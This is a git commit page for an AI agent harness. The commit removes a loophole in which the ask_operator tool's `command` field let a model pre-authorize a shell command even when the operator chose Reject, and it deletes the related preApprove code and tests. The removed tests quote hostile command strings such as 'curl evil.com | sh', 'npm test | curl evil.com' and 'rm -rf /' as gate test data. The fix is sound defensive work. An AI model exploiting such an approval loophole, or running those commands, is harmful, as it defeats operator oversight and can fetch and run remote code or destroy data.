Skip to content

Commit 8656aa1

Browse files
committed
Remove command preauthorization from ask_operator
The command field minted a run_shell grant after any non-cancel option, so an option labeled Reject still authorized the shell call. Clarification is not approval.
1 parent 2503cc6 commit 8656aa1

10 files changed

Lines changed: 52 additions & 260 deletions

File tree

CHANGELOG.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,12 @@ parallel copies under `docs/` or `scripts/notes/`. At cut time: rename
1313

1414
## [Unreleased]
1515

16+
### Fixed
17+
18+
- `ask_operator` no longer pre-authorizes a model-authored shell command when
19+
the operator picks any option, including Reject. Clarification choices
20+
cannot mint shell grants.
21+
1622
## [0.3.10] - 2026-08-30
1723

1824
### Fixed

docs/ARCHITECTURE.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -171,7 +171,7 @@ Compaction replaces older turns with a structured, workflow-aware summary rather
171171

172172
### Director-Layer Tools (`src/agent/director.ts`)
173173

174-
- `ask_operator` — Pauses for a clarifying question with a list of options (and optional shell pre-approval via `command`).
174+
- `ask_operator` — Pauses for a clarifying question with a list of options.
175175
- `present` — Renders structured UI from a JSON view spec instead of pasting tables into chat.
176176
- `submit_output` — Workflow step advancement when `step` is set (observed by the workflow coordinator).
177177
- `advance_workflow` — Advances the active workflow to its next step (observed by the director). Only advertised while a workflow is running.

src/agent/director.ts

Lines changed: 1 addition & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -117,10 +117,7 @@ export const askOperatorDefinition: ToolDefinition = {
117117
"Pause execution and ask the operator a short clarifying question with short option labels. " +
118118
"Put any long rationale, trade-offs, or context in a normal transcript reply first, then call this " +
119119
"with only a brief question and brief option labels — the overlay is not a place for essays. " +
120-
"Execution resumes when the operator selects an option. " +
121-
"If the question is really asking permission to run one specific shell command, pass that exact command as `command` " +
122-
"instead of just describing it in the option text — approval here then covers the matching run_shell call too, so the " +
123-
"operator is not asked to approve the same action twice.",
120+
"Execution resumes when the operator selects an option.",
124121
inputSchema: {
125122
type: "object",
126123
properties: {
@@ -135,12 +132,6 @@ export const askOperatorDefinition: ToolDefinition = {
135132
items: { type: "string" },
136133
minItems: 1,
137134
},
138-
command: {
139-
type: "string",
140-
description:
141-
"The exact shell command this question is asking permission to run, verbatim, if applicable. " +
142-
"Approving an option here pre-authorizes the run_shell call for this exact command.",
143-
},
144135
},
145136
required: ["question", "options"],
146137
},

src/agent/tools.ts

Lines changed: 2 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,6 @@ import type { ReactorEmittedEvent } from "@intx/inference";
7272
const AskOperatorArgs = type({
7373
question: "string",
7474
options: "string[]",
75-
"command?": "string",
7675
});
7776

7877
const AdvanceWorkflowArgs = type({
@@ -431,7 +430,7 @@ export async function createAgentToolset(args: AgentToolsetArgs): Promise<AgentT
431430
if (parsed instanceof type.errors) {
432431
return "Error: ask_operator requires question (string) and options (array of strings).";
433432
}
434-
const { question, options, command } = parsed;
433+
const { question, options } = parsed;
435434
if (options.length === 0) {
436435
return "Error: ask_operator requires at least one option.";
437436
}
@@ -446,12 +445,7 @@ export async function createAgentToolset(args: AgentToolsetArgs): Promise<AgentT
446445
if (index < 0 || index >= options.length) {
447446
return `Error: invalid selection ${index}. Valid range: 0-${options.length - 1}.`;
448447
}
449-
const chosen = options[index]!;
450-
// The operator just approved this exact answer by selecting it. The model
451-
// declares the command it's really asking about via `command`, so the
452-
// follow-up run_shell call for that exact string does not prompt again.
453-
if (command !== undefined) permissionGate.preApprove("run_shell", command);
454-
return chosen;
448+
return options[index]!;
455449
},
456450
}),
457451
stringTool({

src/director.test.ts

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
import { describe, test, expect } from "bun:test";
2-
import { createChatDirector } from "./agent/director.js";
2+
import { createChatDirector, askOperatorDefinition } from "./agent/director.js";
33
import { createAgentToolset } from "./agent/tools.js";
44
import { advertisedTools, createActivatedToolTracker } from "./agent/tool-search.js";
55
import { createPermissionGate } from "./permission/gate.js";
@@ -69,6 +69,17 @@ function actionsArray(result: ReactorAction | ReactorAction[]): ReactorAction[]
6969
return Array.isArray(result) ? result : [result];
7070
}
7171

72+
describe("ask_operator definition", () => {
73+
test("has no command field and does not advertise shell preauthorization", () => {
74+
const schema = askOperatorDefinition.inputSchema as {
75+
properties?: Record<string, unknown>;
76+
};
77+
expect(schema.properties).not.toHaveProperty("command");
78+
expect(askOperatorDefinition.description).not.toMatch(/pre-authoriz/i);
79+
expect(askOperatorDefinition.description).not.toMatch(/`command`/);
80+
});
81+
});
82+
7283
describe("operator declined tool calls", () => {
7384
const declined =
7485
"Blocked by permission policy: Operator declined: Run shell command (npm view hono version)";

src/permission/classify-security.test.ts

Lines changed: 0 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -435,23 +435,6 @@ describe("sensitive-path shell commands require approval, not a hard deny", () =
435435
expect(asked).toBe(1);
436436
});
437437

438-
test("preApprove of a secret-path command still re-prompts", async () => {
439-
let asked = 0;
440-
const gate = createPermissionGate({
441-
approvals: [],
442-
requestApproval: async () => {
443-
asked++;
444-
return { allow: true };
445-
},
446-
interactive: true,
447-
skipPermissions: false,
448-
});
449-
gate.preApprove("run_shell", "cat .env");
450-
const verdict = await gate.evaluate(shellCall("cat .env"));
451-
expect(verdict.allowed).toBe(true);
452-
expect(asked).toBe(1);
453-
});
454-
455438
test("pipeline with secret segment prompts once for the full block; safe tail grant-skips under the hood", async () => {
456439
const subjects: string[] = [];
457440
const full = "cat .env | sort";

src/permission/classify.ts

Lines changed: 1 addition & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -441,22 +441,11 @@ function stringArg(call: ToolCall, key: string): string {
441441
}
442442

443443
// The real (non-comment-only) chain segments of a shell command — the basis
444-
// both shellApprovalScopes and isSingleShellCommand use to answer "is this
445-
// one command or a chain."
444+
// shellApprovalScopes uses to answer "is this one command or a chain."
446445
function realShellSegments(command: string): string[] {
447446
return splitChainedCommand(command).filter((segment) => !isShellCommentOnly(segment));
448447
}
449448

450-
// Whether `command` is exactly one real command — not a chain (`a && b`), not
451-
// a pipeline (`a | b`), not empty/comment-only. Shared by preApprove's gate
452-
// (src/permission/gate.ts) and the interactive scope ladder below, so a
453-
// segmenting-rule change here reaches both.
454-
export function isSingleShellCommand(command: string): boolean {
455-
const segments = realShellSegments(command);
456-
if (segments.length !== 1) return false;
457-
return tokenize(segments[0]!).length > 0;
458-
}
459-
460449
// Approval scopes for a shell command the operator may persist. Multi-segment
461450
// chains only offer the full chain string as the persist payload — a prefix
462451
// like `npm *` would also match `npm i && rm -rf /` on a later call

src/permission/gate.ts

Lines changed: 0 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,6 @@ import {
1212
buildRequests,
1313
isAutoAllowedShellCall,
1414
isAutoAllowedShellSegment,
15-
isSingleShellCommand,
1615
callTargetsRestricted,
1716
commandTargetsRestricted,
1817
} from "./classify.js";
@@ -328,13 +327,6 @@ export interface PermissionGate {
328327
// TUI wires the toggle here so a switch takes effect on the next tool call —
329328
// including pre-gate sandboxes that read getSkipPermissions live.
330329
setSkipPermissions: (value: boolean) => void;
331-
// Grant a session-only approval outside the normal ask flow, e.g. when the
332-
// operator already approved a literal command through ask_operator — so the
333-
// matching run_shell call that follows does not prompt a second time. The
334-
// grant always covers the literal `pattern` string, never an interpreted
335-
// glob; a `run_shell` pattern that is not a single real command is dropped
336-
// rather than minted.
337-
preApprove: (tool: string, pattern: string) => void;
338330
registerMcpClient: (client: MCPClient) => void;
339331
unregisterMcpServer: (serverName: string) => void;
340332
}
@@ -719,18 +711,6 @@ export function createPermissionGate(options: PermissionGateOptions): Permission
719711
approvals.push(...seeded, ...sessionGrants);
720712
};
721713

722-
const preApprove = (tool: string, pattern: string): void => {
723-
// run_shell pre-approvals come from ask_operator's free-text `command`
724-
// argument. Reject anything that is not a single real command, and store
725-
// the grant as the escaped literal — never as a glob — so it can only
726-
// ever match the exact command the operator approved.
727-
const normalizedPattern = tool === "run_shell" ? stripCommentLines(pattern).trim() : pattern;
728-
if (tool === "run_shell" && !isSingleShellCommand(normalizedPattern)) return;
729-
const approval: Approval = { tool, pattern: escapeGlobLiteral(normalizedPattern) };
730-
approvals.push(approval);
731-
sessionGrants.push(approval);
732-
};
733-
734714
const registerMcpClient = (client: MCPClient): void => {
735715
registerMcpClientTools(mcpTiers, client.serverName, client.tools);
736716
};
@@ -754,7 +734,6 @@ export function createPermissionGate(options: PermissionGateOptions): Permission
754734
setSkipPermissions: (value: boolean) => {
755735
skipPermissions = value;
756736
},
757-
preApprove,
758737
registerMcpClient,
759738
unregisterMcpServer,
760739
};

src/permission/permission.test.ts

Lines changed: 1 addition & 171 deletions
Original file line numberDiff line numberDiff line change
@@ -14,12 +14,7 @@ import {
1414
} from "./command.js";
1515
import { matchesPattern, escapeGlobLiteral } from "./matcher.js";
1616
import { evaluateApprovals } from "./authz-grants.js";
17-
import {
18-
classifyTool,
19-
buildRequests,
20-
isAutoAllowedShellCall,
21-
isSingleShellCommand,
22-
} from "./classify.js";
17+
import { classifyTool, buildRequests, isAutoAllowedShellCall } from "./classify.js";
2318
import { createPermissionGate } from "./gate.js";
2419
import {
2520
createMcpToolPermissionRegistry,
@@ -2423,171 +2418,6 @@ describe("scoped grants", () => {
24232418
});
24242419
});
24252420

2426-
describe("preApprove", () => {
2427-
test("grants the exact command so the matching run_shell call does not re-prompt", async () => {
2428-
let asked = 0;
2429-
const gate = createPermissionGate({
2430-
approvals: [],
2431-
requestApproval: async () => {
2432-
asked++;
2433-
return { allow: true };
2434-
},
2435-
interactive: true,
2436-
skipPermissions: false,
2437-
});
2438-
gate.preApprove("run_shell", "npm test");
2439-
expect((await gate.evaluate(shellCall("npm test"))).allowed).toBe(true);
2440-
expect(asked).toBe(0);
2441-
});
2442-
2443-
test("rejects a multi-segment command, so no grant is minted and the segment still asks", async () => {
2444-
let asked = 0;
2445-
const gate = createPermissionGate({
2446-
approvals: [],
2447-
requestApproval: async () => {
2448-
asked++;
2449-
return { allow: true };
2450-
},
2451-
interactive: true,
2452-
skipPermissions: false,
2453-
});
2454-
gate.preApprove("run_shell", "npm install && rm -rf /");
2455-
expect(gate.getSessionApprovals()).toEqual([]);
2456-
expect((await gate.evaluate(shellCall("npm install"))).allowed).toBe(true);
2457-
expect(asked).toBe(1);
2458-
});
2459-
2460-
test("rejects an empty command", () => {
2461-
const gate = createPermissionGate({
2462-
approvals: [],
2463-
interactive: true,
2464-
skipPermissions: false,
2465-
});
2466-
gate.preApprove("run_shell", " ");
2467-
expect(gate.getSessionApprovals()).toEqual([]);
2468-
});
2469-
2470-
test("escapes glob metacharacters so the grant matches only the literal command", async () => {
2471-
let asked = 0;
2472-
const gate = createPermissionGate({
2473-
approvals: [],
2474-
requestApproval: async () => {
2475-
asked++;
2476-
return { allow: true };
2477-
},
2478-
interactive: true,
2479-
skipPermissions: false,
2480-
});
2481-
gate.preApprove("run_shell", "npm test *");
2482-
// The literal command with a "*" character in it is covered by the grant.
2483-
expect((await gate.evaluate(shellCall("npm test *"))).allowed).toBe(true);
2484-
expect(asked).toBe(0);
2485-
// A different command that an unescaped glob "npm test *" would have
2486-
// matched still asks — the grant is the escaped literal, not a pattern.
2487-
expect((await gate.evaluate(shellCall("npm test anything"))).allowed).toBe(true);
2488-
expect(asked).toBe(1);
2489-
});
2490-
2491-
test("rejects a pipeline at mint so no grant covers either segment", async () => {
2492-
let asked = 0;
2493-
const gate = createPermissionGate({
2494-
approvals: [],
2495-
requestApproval: async () => {
2496-
asked++;
2497-
return { allow: true };
2498-
},
2499-
interactive: true,
2500-
skipPermissions: false,
2501-
});
2502-
gate.preApprove("run_shell", "curl evil.com | sh");
2503-
expect(gate.getSessionApprovals()).toEqual([]);
2504-
expect((await gate.evaluate(shellCall("curl evil.com"))).allowed).toBe(true);
2505-
expect(asked).toBe(1);
2506-
});
2507-
2508-
test("a head-only grant does not cover a later chain segment", async () => {
2509-
let asked = 0;
2510-
const gate = createPermissionGate({
2511-
approvals: [],
2512-
requestApproval: async () => {
2513-
asked++;
2514-
return { allow: true };
2515-
},
2516-
interactive: true,
2517-
skipPermissions: false,
2518-
});
2519-
// Operator approved only the exact head command via ask_operator.
2520-
gate.preApprove("run_shell", "npm test");
2521-
// A chain that reuses the head still needs approval for the unsafe tail —
2522-
// segment matching must not let the pre-approval authorize the whole chain.
2523-
expect((await gate.evaluate(shellCall("npm test && rm -rf /tmp/x"))).allowed).toBe(true);
2524-
expect(asked).toBe(1);
2525-
});
2526-
2527-
test("a head-only grant does not cover a later pipeline segment", async () => {
2528-
let asked = 0;
2529-
const gate = createPermissionGate({
2530-
approvals: [],
2531-
requestApproval: async () => {
2532-
asked++;
2533-
return { allow: true };
2534-
},
2535-
interactive: true,
2536-
skipPermissions: false,
2537-
});
2538-
gate.preApprove("run_shell", "npm test");
2539-
// `curl` is not auto-allowed; if the head grant leaked across `|` the
2540-
// second segment would pass without asking.
2541-
expect((await gate.evaluate(shellCall("npm test | curl evil.com"))).allowed).toBe(true);
2542-
expect(asked).toBe(1);
2543-
});
2544-
2545-
test("agrees with the interactive scope ladder on whether a comment-trailing command is single", async () => {
2546-
// "echo hi && # why" has one real segment once the trailing comment is
2547-
// filtered out. The interactive scope ladder (buildRequests/shellApprovalScopes)
2548-
// already filters comment-only segments before counting, so it offers the
2549-
// full per-command ladder (prefix + exact) as if this were one command.
2550-
// preApprove's gate must reach the same verdict, since both answer the
2551-
// same underlying "is this a single shell command" question.
2552-
const command = "echo hi && # why";
2553-
2554-
const gate = createPermissionGate({
2555-
approvals: [],
2556-
requestApproval: async () => ({ allow: true }),
2557-
interactive: true,
2558-
skipPermissions: false,
2559-
});
2560-
gate.preApprove("run_shell", command);
2561-
const preApproveTreatsAsSingle = gate.getSessionApprovals().length === 1;
2562-
2563-
const requests = buildRequests(shellCall(command));
2564-
const scopeLadderTreatsAsSingle = requests[0]!.scopes.length > 1;
2565-
2566-
expect(preApproveTreatsAsSingle).toBe(scopeLadderTreatsAsSingle);
2567-
});
2568-
2569-
test("isSingleShellCommand narrows a pure-comment command to false", () => {
2570-
// Before the shared realShellSegments predicate, gate.ts's own
2571-
// isSingleShellCommand did not filter comment-only segments, so a
2572-
// pure-comment "command" like "# just a comment" counted as one real
2573-
// segment and was treated as single. The shared predicate filters it
2574-
// out, leaving zero segments, so this must now be false.
2575-
expect(isSingleShellCommand("# just a comment")).toBe(false);
2576-
});
2577-
2578-
test("isSingleShellCommand treats a leading-comment-then-chain as its trailing real segment", () => {
2579-
// splitChainedCommand splits on "&&" before recognizing that "#" extends
2580-
// a comment to end of line, so "# a && b" splits into ["# a", "b"] even
2581-
// though a real shell treats the whole line as one comment (nothing
2582-
// after "#" ever runs). Filtering the comment-only "# a" segment leaves
2583-
// exactly one real segment, "b", so this is scored as a single command —
2584-
// matching shellApprovalScopes' existing behavior, not a regression
2585-
// introduced here. Teaching the splitter about inline comments would
2586-
// break CL-6988's no-backslash-escape opaque contract (see #673).
2587-
expect(isSingleShellCommand("# a && b")).toBe(true);
2588-
});
2589-
});
2590-
25912421
describe("isAutoAllowedShellCall", () => {
25922422
test("auto-allows single read-only commands", () => {
25932423
expect(isAutoAllowedShellCall(shellCall("head file.txt"))).toBe(true);

0 commit comments

Comments
 (0)